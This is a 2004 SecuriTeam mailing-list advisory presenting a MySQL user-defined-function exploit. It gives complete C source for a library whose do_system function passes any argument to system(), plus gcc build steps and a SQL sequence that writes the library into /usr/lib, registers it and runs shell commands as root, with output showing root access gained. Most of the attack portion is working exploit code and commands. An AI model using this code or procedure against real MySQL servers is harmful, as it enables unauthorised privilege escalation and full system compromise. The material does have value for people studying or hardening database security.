

[EXPL] MySQL UDF Dynamic Library Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0088.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/27/04

To: list@securiteam.com

Date: 27 Dec 2004 10:23:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

MySQL UDF Dynamic Library Exploit

SUMMARY

MySQL provides a mechanism by which the default set of functions can be expanded by means of custom written dynamic libraries containing User Defined Functions, or UDFs. If MySQL is installed with root privileges, the UDF mechanism allows an attacker to install and run malicious code as root.

DETAILS

As can be seen from the example usage below, the attack is done by linking the provided code as a dynamic library. If MySQL is installed to run with root privileges, the attacker can then create a UDF which points to his/her malicious code and run it with root privileges.

For more information on MySQL Security visit

<<http://www.ngssoftware.com/papers/HackproofingMySQL.pdf>> Hackproofing

MySQL

Usage:

```
$ id
```

```
uid=500(raptor) gid=500(raptor) groups=500(raptor)
```

```
$ gcc -g -c raptor_udf.c
```

```
$ gcc -g -shared -Wl,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o
```

Securiteam: [EXPL] MySQL UDF Dynamic Library Exploit

```
-lc
$ mysql -u root -p
Enter password:
[...]
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
mysql> select * from foo into outfile '/usr/lib/raptor_udf.so';
mysql> create function do_system returns integer soname 'raptor_udf.so';
mysql> select * from mysql.func;
+-----+-----+-----+-----+
| name | ret | dl | type |
+-----+-----+-----+-----+
| do_system | 2 | raptor_udf.so | function |
+-----+-----+-----+-----+
mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
mysql> \! sh
sh-2.05b$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
```

Exploit Code:

```
raptor_udf.c
/*
 * $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
 *
 * raptor_udf.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * This is an helper dynamic library for local privilege escalation
through
 * MySQL run with root privileges (very bad idea!). Tested on MySQL
4.0.17.
 *
 * Code ripped from:
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
 *
 * "MySQL provides a mechanism by which the default set of functions can
be
 * expanded by means of custom written dynamic libraries containing User
 * Defined Functions, or UDFs". -- Hackproofing MySQL
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf.so -o raptor_udf.so
raptor_udf.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
```

Securiteam: [EXPL] MySQL UDF Dynamic Library Exploit

```
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
* mysql> select * from foo into outfile '/usr/lib/raptor_udf.so';
* mysql> create function do_system returns integer soname
'raptor_udf.so';
* mysql> select * from mysql.func;
* +-----+-----+-----+-----+
* | name | ret | dl | type |
* +-----+-----+-----+-----+
* | do_system | 2 | raptor_udf.so | function |
* +-----+-----+-----+-----+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/
```

```
#include <stdio.h>
#include <stdlib.h>
```

```
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
```

```
typedef struct st_udf_args {
    unsigned int arg_count; // number of arguments
    enum Item_result *arg_type; // pointer to item_result
    char **args; // pointer to arguments
    unsigned long *lengths; // length of string args
    char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
```

```
typedef struct st_udf_init {
    char maybe_null; // 1 if func can return NULL
    unsigned int decimals; // for real functions
    unsigned long max_length; // for string functions
    char *ptr; // free ptr for func data
    char const_item; // 0 if result is constant
} UDF_INIT;
```

```
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char
*error)
{
    if (args->arg_count != 1)
        return(0);

    system(args->args[0]);

    return(0);
}
```

ADDITIONAL INFORMATION

Securiteam: [EXPL] MySQL UDF Dynamic Library Exploit

The information has been provided by <mailto:raptor@0xdeadbeef.info>
Raptor.

The original article can be found at:

<http://www.0xdeadbeef.info/exploits/raptor_udf.c>

http://www.0xdeadbeef.info/exploits/raptor_udf.c

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.